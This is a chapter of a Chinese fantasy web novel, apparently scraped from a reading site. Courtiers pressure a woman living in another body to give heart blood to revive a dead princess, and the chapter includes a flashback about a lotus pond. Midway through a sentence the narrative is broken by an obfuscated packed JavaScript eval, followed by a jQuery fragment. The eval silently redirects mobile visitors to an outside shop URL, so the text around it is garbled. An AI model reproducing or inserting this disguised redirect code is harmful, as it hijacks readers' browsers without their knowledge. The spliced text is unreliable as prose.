哥哥不方便说出的话,就让我来说好了。
“你说什么?”柳乘风道。
“臣女一向胆小……更何况剜心取血,岂同儿戏?诸位大臣请想!公主殿下生前最是仁善,她一定不愿见你们将这样残忍的禁术用在她身上的!”
林宴看着她,伏在椅架上的手指微微蜷起,可是堂下的大臣们却不依不饶:“你好歹也是谢家的女儿,你们家平日歌功颂德的时候多卖力,到取你几滴血,用你报效皇家的时候你却临阵退缩,事关公主生死你怎能这般小气?”
“就是啊,云中君都说你死不了你还怕什么?”
“也就是你八字对上了,这要是我八字对上都不用别人动手!活下来那是造化,纵一死又如何?”
一个个慷慨激昂、义正言辞的逼迫,林婴简直不忍淬听,心道平日也不见你们对我有多好,再度辩道:“可是云中君都未曾做过这种禁术,他说不能死就不能死吗?蝼蚁尚且偷生,何况我命就一条,万一真的死了,什么也换不回来了。”
“假如害小姐因此丧命,乘风愿当场自戕,以命相抵。”
——这下别说百官哗然,林婴林宴皆是惊得说不出话,柳乘风此人,话少,但决不食言。
谁也没想到他为了换活林婴竟然可以做到不惜抵命的份上……
就算林婴本人听到,都觉得着实悚然。
不过话说回来,也可以说他是笃定自己术法高深,绝对伤不到“小诗”性命,所以才肯如此担保。
枝头扑棱棱飞来一只云雀,正好奇地探头探脑。
周天子一身玄色道袍随风旋起,忽然出列,手持羽扇冲林宴深施一礼,道:“既无性命危险,云中君又救父心切,还望帝君恩准了他这一片孝心吧。”
柳乘风蹙眉朝他望了望,林宴此刻脸色忽然缓和了不少,闭了下眼,再张开,道:“也罢,且请一试吧……”说着用手捏住眉心,一副疲累至极的模样。
周天子剔透的瞳仁侧后一移,睇住柳乘风道:“云中君,周某,诚心盼你立此奇功呐。”
气氛微妙,柳乘风冲他微微颔首,算做回应。
随即,又侧转身,冲“小诗”深深一拜,道:“姑娘所受辛苦,我柳乘风必千百倍的补偿,敬谢。”
林婴跪在地上,脸色苍白。
——她不明白哥哥为什么因为周天子一句话就突然同意了,林婴恍恍惚惚地站起身来,深深望着林宴,难道你明知是我,也不惜付此代价吗?
林宴迎视着她。
将手中一枚清荷玉佩拾起,拢于指尖,漫不经心地摩挲着。
【哥,今年的荷花刚立出梃子,就遭了这场冰雹,你看这叶子上打出来的窟窿,还有那花梃子也都砸折了,好好的一池子,给砸的乱七八糟!这满池碧色,粉荷盏盏的景,恐得等明年才能看见了。真是可惜!我掐着花期来了一趟又一趟,都白跑了。
林宴微微一笑:“就为了这点小事生气?”
林婴:“这难道还不让人生气吗?这池子荷花可是我亲手移栽过来的,根要扎在稀泥里,尖要露在水上面,尤其幼苗的时候稀泥不能晒干了,发芽前泥上面还不能蓄水,连天的看着浇。随它一点点长起来,下雨了往外舀水,暴热了往里添水,这么大一池塘,水不能多,也不能少。苦心栽培一整年,还想着今年开了送给你做生辰礼的,如今一场冰雹,全砸没了。”
林宴道:“你想得此景,就不能一味的苦心栽培,而是想想如何才能让它长得更好,如何不因雨打风吹就轻易辜负了你。”
林婴道:“荷花又不是人,哪懂我的苦心?”
林宴道:“你看我的。”说着命人进去,将这些乱七八糟的梃子与破破烂烂的叶片全都剪除了扔到岸上来。搅得一池净水浑浊不堪。
林婴道:“哥,抽水,没有叶子留在水上,池子里的花根都会泡死的。”
林宴道:“无妨。你耐心一点。”
林婴唯恐花根泡死,日日来瞧,很快发现,池子底的荷花为了争夺呼吸,牟足了劲的拔出水面,绽开崭新完好的叶片,不几日便填满了整个池子,虽有几株挣不上来,被旁的彻底遮在水下,慢慢死去的,但这一池新荷却眼看着比往日挺拔强壮了许多。
再也不似从前探出水面时,那副娇弱又羞答答的样子了。
“为了换得更快速的生长,花根必须狠命的向下向深,汲取更多的养分。”
兄妹俩并肩欣赏。水上如今熙熙攘攘,已经有新的梃子亭亭玉立,有的花苞娇俏,还有的已然绽成层层叠叠的一盏。
“真美啊……”林婴早就幻想拥有一个荷花满池的夏天。
只不过美其名曰“送给哥哥”罢了。
林宴当然懂她:“所以有时候,哪怕是你真心喜爱的,也不得不对她狠一点。”】
恍惚一瞬,兄妹二人一齐将眼神从玉佩上挪开,互视彼此,谁都没有说什么。
周天子回头一笑。
林婴怔了一下,既然自己换了身体这事柳家不知道,那么周天子是不是知道?他和哥哥一伙的吗?他如此建议……是因为有恃无恐,笃定柳乘风不会拆穿了我吗?
林婴心里难过。
为什么哥哥的谋划可以告诉那么多人,却不能告诉自己呢?
一位宫人上前,引领着几人朝停放棺椁的寒室走去。林婴这才后知后觉的,开始心疼自己马上要受那锥心之苦,不小心绊了一下,柳乘风无需回头便抬手精准地将她扶住,林婴心底暗恼,这皇宫她再熟悉不过了,平日闭着眼睛也走不错半步,现下真真是心里乱成魔。
“姑娘放心,虽然伤损难免,但贫道手下自有轻重,不该吃的苦头,断不令你多担。”
林婴抬眼望他,心里除了紧张害怕,又多了一丝意外,柳乘风这人……居然有一天也能说出这种关心别人的话?因为心里有愧?还是家里遭了回难让他懂得人情世故?竟学会安慰别人了?
现在的他,仿佛多了那么一丝半点的人情味。
“那,我的命……就拜托给云中君了。”林婴仍是一脸不甘不愿的苦相。
柳乘风点点头,收回手。一行人直走入寒室,一身素缟的宫人被成排的遣退,停在当中的寒玉棺椁被人推开。林婴上前,看了眼里面那位头戴华冠,一身绚烂宫装,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257830|151619||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安静无声的“自己”,竟有些恍惚:我真的是她吗?我到底死没死啊?
忽然有宫人抬来张床铺,将林婴手脚按住强迫她侧躺,林婴霎时生出一股频死的错觉:“别……别这样,放开我,我不跑还不行吗!我真不跑!”
柳乘风不知何处取来一枚闪烁寒光的尖锥,持在手中,彬彬有礼道:“叶姑娘,就是怕你乱动刺错了位置,还要多受苦楚,我要将你暂且定住,请你忍一忍。”
说着修长的手指探过来,扯住被面遮盖了林婴的头脸,她被术法禁锢,又看不见更紧张了:“别……不要……”
“啊!”
然而下一瞬冷硬的尖锥不管不顾地刺扎入体!
林婴张大嘴巴,浑身颤抖,舌根不自觉靠后,满腔惊怕终于大喊出声,涕泪齐流:“啊!!啊啊啊啊!!!”声音里,又惊悚,又绝望,又害怕,又疼!
救命!
放开我!
谁来救救我啊!
“别动,按住她!”
林婴竟然冲破了柳乘风给她下的禁锢挣扎扭动起来!
可惜没用的,无数双手按住她的肩膀、手臂,两腿,无数的灵力如同无形的绳索将她牢牢捆住,怎样奋力也挣脱不开。她腰身弓成虾状,被子蒙住了脸使她呼吸不畅,像条离水的鱼,不知道是会先被闷死,还是先被杀死,大颗大颗的眼泪滑落。
“别再动了,你这样只会扩大伤口,更添磋磨。”柳乘风的声音始终透着严厉,一手隔着被子按在她额头处轻轻拍了拍。然而任何安慰都是无力的,林婴此刻,只有一种自己正被最亲最近最信任的人,笑着杀死在这里的感觉。
无限的怨、恼、恨在她心脏最痛的地方一起爆开,不知是对着这位刺心取血的同门,还是对着那位不肯露面又不肯解释清楚的哥哥……
她狂跳的心,一点点平静下来,趋向软弱和无力,内心的温度也在流失,浑身发抖,不知是疼的还是冷的,同时度秒如年。
终于那尖刺自她身体里拔出,胸脯衣物霎时打湿了一片,听得见柳乘风起身走了,七星过来,一注灵力随即注入,弥合了她的伤口,护住了她的心脉。
但是,这种伤口就算被灵力弥合,留在身体里的钝痛却久久不散。
身上的外力将她放开,林婴独自躺在被子里又默默颤抖流泪了好久,才哆哆嗦嗦地把被子扯开。试了几次,终于自床上爬起,然后发现柳乘风正抬起双手,将整个棺椁照在一片八卦盘旋的灵光之中,整座广寒殿所有的宫人都朝他那边虔诚的望着,没人分她一眼,管她死活。
林婴看着衣襟上的血迹,颤抖着手捂住心口,跌跌撞撞的朝外走去。她曾是这座宫殿里集万千宠爱于一身、最最尊贵的女子。可是此时看着满眼白绫白帆,只觉得物是人非,恍若隔世。那些惯常围绕着她的、熟悉又陌生的面孔,此刻也都对她视若无睹了一般自她身侧匆匆经过,跪倒一片。
“帝君万安~”
身后好大的呼声,可是林婴心里恍恍惚惚的,似乎听见了又似乎什么都没听见。忽然不知打哪飞来一只云雀大胆地跳到她肩头,歪着脑袋,自她耳边,啾啾一声。